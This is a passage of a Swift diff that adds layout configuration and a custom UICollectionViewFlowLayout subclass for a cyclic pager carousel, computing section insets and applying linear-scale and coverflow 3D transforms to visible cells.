+    public var scrollDirection: LNCyclePagerScrollDirection = .horizontal
+
+    public var minimumScale: CGFloat = 0.8
+    public var minimumAlpha: CGFloat = 1.0
+    public var maximumAngle: CGFloat = 0.2
+
+    public var isInfiniteLoop = true
+    public var rateOfChange: CGFloat = 0.4
+    public var adjustSpacingWhenScrolling = true
+
+    public var itemVerticalCenter = true
+    public var itemHorizontalCenter = false
+
+    public init() {}
+
+    public var onlyOneSectionInset: UIEdgeInsets {
+        if scrollDirection == .horizontal {
+            let leftSpace = (pageView != nil && !isInfiniteLoop && itemHorizontalCenter) ? ((pageView!.bounds.width - itemSize.width) * 0.5) : sectionInset.left
+            let rightSpace = (pageView != nil && !isInfiniteLoop && itemHorizontalCenter) ? ((pageView!.bounds.width - itemSize.width) * 0.5) : sectionInset.right
+            if itemVerticalCenter, let pageView {
+                let vertical = (pageView.bounds.height - itemSize.height) * 0.5
+                return UIEdgeInsets(top: vertical, left: leftSpace, bottom: vertical, right: rightSpace)
+            }
+            return UIEdgeInsets(top: sectionInset.top, left: leftSpace, bottom: sectionInset.bottom, right: rightSpace)
+        }
+
+        let topSpace = (pageView != nil && !isInfiniteLoop) ? ((pageView!.bounds.height - itemSize.height) * 0.5) : sectionInset.top
+        let bottomSpace = (pageView != nil && !isInfiniteLoop) ? ((pageView!.bounds.height - itemSize.height) * 0.5) : sectionInset.bottom
+        let horizontal = pageView.map { ($0.bounds.width - itemSize.width) * 0.5 } ?? sectionInset.left
+        return UIEdgeInsets(top: topSpace, left: horizontal, bottom: bottomSpace, right: horizontal)
+    }
+
+    public var firstSectionInset: UIEdgeInsets {
+        if scrollDirection == .horizontal {
+            if itemVerticalCenter, let pageView {
+                let vertical = (pageView.bounds.height - itemSize.height) * 0.5
+                return UIEdgeInsets(top: vertical, left: sectionInset.left, bottom: vertical, right: itemSpacing)
+            }
+            return UIEdgeInsets(top: sectionInset.top, left: sectionInset.left, bottom: sectionInset.bottom, right: itemSpacing)
+        }
+
+        let horizontal = pageView.map { ($0.bounds.width - itemSize.width) * 0.5 } ?? sectionInset.left
+        return UIEdgeInsets(top: sectionInset.top, left: horizontal, bottom: itemSpacing, right: horizontal)
+    }
+
+    public var lastSectionInset: UIEdgeInsets {
+        if scrollDirection == .horizontal {
+            if itemVerticalCenter, let pageView {
+                let vertical = (pageView.bounds.height - itemSize.height) * 0.5
+                return UIEdgeInsets(top: vertical, left: 0, bottom: vertical, right: sectionInset.right)
+            }
+            return UIEdgeInsets(top: sectionInset.top, left: 0, bottom: sectionInset.bottom, right: sectionInset.right)
+        }
+
+        let horizontal = pageView.map { ($0.bounds.width - itemSize.width) * 0.5 } ?? sectionInset.left
+        return UIEdgeInsets(top: 0, left: horizontal, bottom: sectionInset.bottom, right: horizontal)
+    }
+
+    public var middleSectionInset: UIEdgeInsets {
+        if scrollDirection == .horizontal {
+            if itemVerticalCenter, let pageView {
+                let vertical = (pageView.bounds.height - itemSize.height) * 0.5
+                return UIEdgeInsets(top: vertical, left: 0, bottom: vertical, right: itemSpacing)
+            }
+            return sectionInset
+        }
+
+        let horizontal = pageView.map { ($0.bounds.width - itemSize.width) * 0.5 } ?? sectionInset.left
+        return UIEdgeInsets(top: 0, left: horizontal, bottom: itemSpacing, right: horizontal)
+    }
+}
+
+public protocol LNCyclePagerTransformLayoutDelegate: AnyObject {
+    func pagerTransformLayout(_ layout: LNCyclePagerTransformLayout, initialize attributes: UICollectionViewLayoutAttributes)
+    func pagerTransformLayout(_ layout: LNCyclePagerTransformLayout, apply attributes: UICollectionViewLayoutAttributes)
+}
+
+public final class LNCyclePagerTransformLayout: UICollectionViewFlowLayout {
+    public weak var transformDelegate: LNCyclePagerTransformLayoutDelegate?
+
+    public var layoutConfig: LNCyclePagerViewLayout? {
+        didSet {
+            guard let layoutConfig else { return }
+            layoutConfig.pageView = collectionView
+            itemSize = layoutConfig.itemSize
+            minimumInteritemSpacing = layoutConfig.itemSpacing
+            minimumLineSpacing = layoutConfig.itemSpacing
+            scrollDirection = layoutConfig.scrollDirection == .horizontal ? .horizontal : .vertical
+            invalidateLayout()
+        }
+    }
+
+    private enum ItemDirection {
+        case leading
+        case center
+        case trailing
+    }
+
+    public override init() {
+        super.init()
+        scrollDirection = .horizontal
+    }
+
+    public required init?(coder: NSCoder) {
+        super.init(coder: coder)
+        scrollDirection = .horizontal
+    }
+
+    public override func shouldInvalidateLayout(forBoundsChange newBounds: CGRect) -> Bool {
+        guard let layoutConfig else {
+            return super.shouldInvalidateLayout(forBoundsChange: newBounds)
+        }
+        return layoutConfig.layoutType == .normal ? super.shouldInvalidateLayout(forBoundsChange: newBounds) : true
+    }
+
+    public override func layoutAttributesForElements(in rect: CGRect) -> [UICollectionViewLayoutAttributes]? {
+        guard let attrs = super.layoutAttributesForElements(in: rect), let layoutConfig else {
+            return super.layoutAttributesForElements(in: rect)
+        }
+
+        if transformDelegate == nil, layoutConfig.layoutType == .normal {
+            return attrs
+        }
+
+        let copied = attrs.compactMap { $0.copy() as? UICollectionViewLayoutAttributes }
+        let visibleRect = CGRect(origin: collectionView?.contentOffset ?? .zero, size: collectionView?.bounds.size ?? .zero)
+        for attr in copied where attr.representedElementCategory == .cell {
+            guard visibleRect.intersects(attr.frame) else { continue }
+            if let transformDelegate {
+                transformDelegate.pagerTransformLayout(self, apply: attr)
+            } else {
+                applyTransform(to: attr, type: layoutConfig.layoutType)
+            }
+        }
+        return copied
+    }
+
+    public override func layoutAttributesForItem(at indexPath: IndexPath) -> UICollectionViewLayoutAttributes? {
+        guard let attr = super.layoutAttributesForItem(at: indexPath)?.copy() as? UICollectionViewLayoutAttributes else {
+            return nil
+        }
+
+        guard let layoutConfig else { return attr }
+        if let transformDelegate {
+            transformDelegate.pagerTransformLayout(self, initialize: attr)
+        } else if layoutConfig.layoutType != .normal {
+            initializeTransform(to: attr, type: layoutConfig.layoutType)
+        }
+        return attr
+    }
+
+    private func itemDirection(for center: CGPoint) -> ItemDirection {
+        guard let collectionView else { return .center }
+        if scrollDirection == .horizontal {
+            let contentCenterX = collectionView.contentOffset.x + collectionView.bounds.width * 0.5
+            if abs(center.x - contentCenterX) < 0.5 { return .center }
+            return center.x < contentCenterX ? .leading : .trailing
+        }
+
+        let contentCenterY = collectionView.contentOffset.y + collectionView.bounds.height * 0.5
+        if abs(center.y - contentCenterY) < 0.5 { return .center }
+        return center.y < contentCenterY ? .leading : .trailing
+    }
+
+    private func initializeTransform(to attributes: UICollectionViewLayoutAttributes, type: LNCyclePagerTransformLayoutType) {
+        guard let layoutConfig else { return }
+        switch type {
+        case .linear:
+            applyLinear(to: attributes, scale: layoutConfig.minimumScale, alpha: layoutConfig.minimumAlpha)
+        case .coverflow:
+            applyCoverflow(to: attributes, angle: layoutConfig.maximumAngle, alpha: layoutConfig.minimumAlpha)
+        case .normal:
+            break
+        }
+    }
+
+    private func applyTransform(to attributes: UICollectionViewLayoutAttributes, type: LNCyclePagerTransformLayoutType) {
+        switch type {
+        case .linear:
+            applyLinear(to: attributes)
+        case .coverflow:
+            applyCoverflow(to: attributes)
+        case .normal:
+            break
+        }
+    }
+
+    private func applyLinear(to attributes: UICollectionViewLayoutAttributes) {
+        guard let layoutConfig, let collectionView else { return }
+        if scrollDirection == .horizontal {
+            let width = collectionView.bounds.width
+            guard width > 0 else { return }
+            let centerX = collectionView.contentOffset.x + width * 0.5
+            let delta = abs(attributes.center.x - centerX)
+            let scale = max(1 - delta / width * layoutConfig.rateOfChange, layoutConfig.minimumScale)
+            let alpha = max(1 - delta / width, layoutConfig.minimumAlpha)
+            applyLinear(to: attributes, scale: scale, alpha: alpha)
+            return
+        }
+
+        let height = collectionView.bounds.height
+        guard height > 0 else { return }
+        let centerY = collectionView.contentOffset.y + height * 0.5
+        let delta = abs(attributes.center.y - centerY)
+        let scale = max(1 - delta / height * layoutConfig.rateOfChange, layoutConfig.minimumScale)
+        let alpha = max(1 - delta / height, layoutConfig.minimumAlpha)
+        applyLinear(to: attributes, scale: scale, alpha: alpha)
+    }
+
+    private func applyLinear(to attributes: UICollectionViewLayoutAttributes, scale: CGFloat, alpha: CGFloat) {
+        guard let layoutConfig else { return }
+
+        var resolvedScale = scale
+        var resolvedAlpha = alpha
+        var transform = CGAffineTransform(scaleX: resolvedScale, y: resolvedScale)
+
+        if layoutConfig.adjustSpacingWhenScrolling {
+            let direction = itemDirection(for: attributes.center)
+            let length = scrollDirection == .horizontal ? attributes.size.width : attributes.size.height
+            var translate: CGFloat = 0
+
+            switch direction {
+            case .leading:
+                translate = 1.15 * length * (1 - resolvedScale) * 0.5
+            case .trailing:
+                translate = -1.15 * length * (1 - resolvedScale) * 0.5
+            case .center:
+                resolvedScale = 1
+                resolvedAlpha = 1
+                transform = CGAffineTransform.identity
+            }
+
+            if direction != .center {
+                if scrollDirection == .horizontal {
+                    transform = transform.translatedBy(x: translate, y: 0)
+                } else {
+                    transform = transform.translatedBy(x: 0, y: translate)
+                }
+            }
+        }
+
+        attributes.transform = transform
+        attributes.alpha = resolvedAlpha
+    }
+
+    private func applyCoverflow(to attributes: UICollectionViewLayoutAttributes) {
+        guard let layoutConfig, let collectionView else { return }
+
+        if scrollDirection == .horizontal {
+            let width = collectionView.bounds.width
+            guard width > 0 else { return }
+            let centerX = collectionView.contentOffset.x + width * 0.5
+            let delta = abs(attributes.center.x - centerX)
+            let angle = min(delta / width * (1 - layoutConfig.rateOfChange), layoutConfig.maximumAngle)
+            let alpha = max(1 - delta / width, layoutConfig.minimumAlpha)
+            applyCoverflow(to: attributes, angle: angle, alpha: alpha)
+            return
+        }
+
+        let height = collectionView.bounds.height
+        guard height > 0 else { return }
+        let centerY = collectionView.contentOffset.y + height * 0.5
+        let delta = abs(attributes.center.y - centerY)
+        let angle = min(delta / height * (1 - layoutConfig.rateOfChange), layoutConfig.maximumAngle)
+        let alpha = max(1 - delta / height, layoutConfig.minimumAlpha)
+        applyCoverflow(to: attributes, angle: angle, alpha: alpha)
+    }
+
+    private func applyCoverflow(to attributes: UICollectionViewLayoutAttributes, angle: CGFloat, alpha: CGFloat) {
+        guard let layoutConfig else { return }
+
+        var resolvedAngle = angle
+        var resolvedAlpha = alpha
+        let direction = itemDirection(for: attributes.center)
+
+        var transform3D = CATransform3DIdentity
+        transform3D.m34 = -0.002
+
+        var translate: CGFloat = 0
+        switch direction {
+        case .leading:
+            let length = scrollDirection == .horizontal ? attributes.size.width : attributes.size.height
+            translate = (1 - cos(resolvedAngle * 1.2 * .pi)) * length
+        case .trailing:
+            let length = scrollDirection == .horizontal ? attributes.size.width : attributes.size.height
+            translate = -(1 - cos(resolvedAngle * 1.2 * .pi)) * length
+            resolvedAngle = -resolvedAngle
+        case .center:
+            resolvedAngle = 0
+            resolvedAlpha = 1
+        }
+
+        if scrollDirection == .horizontal {
+            transform3D = CATransform3DRotate(transform3D, .pi * resolvedAngle, 0, 1, 0)
+        } else {
+            transform3D = CATransform3DRotate(transform3D, .pi * (-resolvedAngle), 1, 0, 0)
+        }
+
+        if layoutConfig.adjustSpacingWhenScrolling {
+            if scrollDirection == .horizontal {
+                transform3D = CATransform3DTranslate(transform3D, translate, 0, 0)
+            } else {
+                transform3D = CATransform3DTranslate(transform3D, 0, translate, 0)
+            }
+        }
+
+        attributes.transform3D = transform3D
+        attributes.alpha = resolvedAlpha
+    }
+}